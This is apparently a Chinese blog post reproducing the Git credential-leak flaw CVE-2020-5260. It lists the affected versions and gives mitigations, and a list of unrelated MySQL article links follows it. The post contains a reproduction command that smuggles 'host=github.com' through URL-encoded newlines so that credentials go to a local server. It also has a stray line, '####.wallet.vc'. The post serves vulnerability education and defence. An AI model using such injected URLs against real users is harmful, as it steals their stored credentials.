博客
关于我
Git凭证泄露漏洞(CVE-2020-5260)复现
阅读量:796 次
发布时间:2019-03-25

本文共 1477 字,大约阅读时间需要 4 分钟。

Git 安全漏洞洞察

####.wallet.vc

Git的一项功能设计在特定情况下存在安全漏洞。这项漏洞影响Git客户端在处理特定格式的URL时,将用户凭证信息泄露给攻击者。


漏洞描述

Git的凭证助手功能旨在简化用户存储和管理远程仓库凭据的过程。然而,当远程仓库URL包含经过URL编码的换行符时,Git会将非预期的凭据信息注入到其协议流中。这使得恶意URL能够诱骗Git客户端向攻击者发送核心凭据数据。

此漏洞主要影响那些执行git clone指令时,遵循包含编码换行符的恶意URL的Git客户端。攻击者可利用该漏洞窃取用户的主机凭据,进而进行后续的恶意操作。


受影响版本

本漏洞存在于以下Git版本中:

  • 受影响版本

    • Git 2.17.x ≤ 2.17.3
    • Git 2.18.x ≤ 2.18.2
    • Git 2.19.x ≤ 2.19.3
    • Git 2.20.x ≤ 2.20.2
    • Git 2.21.x ≤ 2.21.1
    • Git 2.22.x ≤ 2.22.2
    • Git 2.23.x ≤ 2.23.1
    • Git 2.24.x ≤ 2.24.1
    • Git 2.25.x ≤ 2.25.2
    • Git 2.26.x ≤ 2.26.0
  • 修复版本及更新

    • Git 2.17.4及更高版本
    • Git 2.18.3及更高版本
    • Git 2.19.4及更高版本
    • Git 2.20.3及更高版本
    • Git 2.21.2及更高版本
    • Git 2.22.3及更高版本
    • Git 2.23.2及更高版本
    • Git 2.24.2及更高版本
    • Git 2.25.3及更高版本
    • Git 2.26.1及更高版本

漏洞复现演示

在执行类似以下命令时,Git可能会受到此漏洞的影响:

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'

此命令包含通过URL编码进行的手动注入的信息。Git在解析过程中会误解这些信息,从而向攻击者泄露用户的凭据信息。


漏洞修复

官方修复

Git社区已发布修复更新,建议使用受影响版本之外的最新版本来确保系统安全。修复版本包括:

其他防护方法

尽管官方已经提供更新,建议采取以下额外措施来防范此类风险:

  • 禁用凭证助手功能

    git config --unset credential.helpergit config --global --unset credential.helpergit config --system --unset credential.helper

    临时禁用凭证助手功能可以立即阻止漏洞利用。

  • 防御恶意URL

    • 在克隆仓库前,检查URL的主机名(host)部分是否包含编码换行符或其他不自然的字符串。

    • 避免使用git clone --recurse-submodules,特别是在处理未经验证的仓库时。建议用户在克隆后手动检查.gitmodules文件,确保所有子模块的URL安全可靠。

    • 不要对不明来源或不可信的URL执行git clone,尤其是公开仓库。

  • 审查及过滤输入源

    • 用户可选择在仓库URL中添加过滤脚本或使用安全工具来检测异常请求,防止恶意URL注入。

  • 相关参考资料


    注意事项

    本文仅供安全研究与教育目的使用。请在执行相关操作前,确保您了解潜在风险,并遵守相关安全规范。

    转载地址:http://sxyyk.baihongyu.com/

    你可能感兴趣的文章
    Mysql工作笔记006---Mysql服务器磁盘爆满了_java.sql.SQLException: Error writing file ‘tmp/MYfXO41p‘
    查看>>
    mysql常用命令
    查看>>
    MySQL底层概述—2.InnoDB磁盘结构
    查看>>
    MySQL底层概述—5.InnoDB参数优化
    查看>>
    MySQL底层概述—6.索引原理
    查看>>
    MySQL底层概述—7.优化原则及慢查询
    查看>>
    MySQL底层概述—8.JOIN排序索引优化
    查看>>
    MySQL底层概述—9.ACID与事务
    查看>>
    Mysql建立中英文全文索引(mysql5.7以上)
    查看>>
    Mysql当前列的值等于上一行的值累加前一列的值
    查看>>
    MySQL当查询的时候有多个结果,但需要返回一条的情况用GROUP_CONCAT拼接
    查看>>
    MySQL必知必会(组合Where子句,Not和In操作符)
    查看>>
    MySQL必知必会总结笔记
    查看>>
    MySQL快速入门
    查看>>
    MySQL快速入门——库的操作
    查看>>
    mysql快速复制一张表的内容,并添加新内容到另一张表中
    查看>>
    mysql快速查询表的结构和注释,字段等信息
    查看>>
    mysql怎么删除临时表里的数据_MySQL中关于临时表的一些基本使用方法
    查看>>
    mysql性能优化
    查看>>
    MySQL性能优化必备25条
    查看>>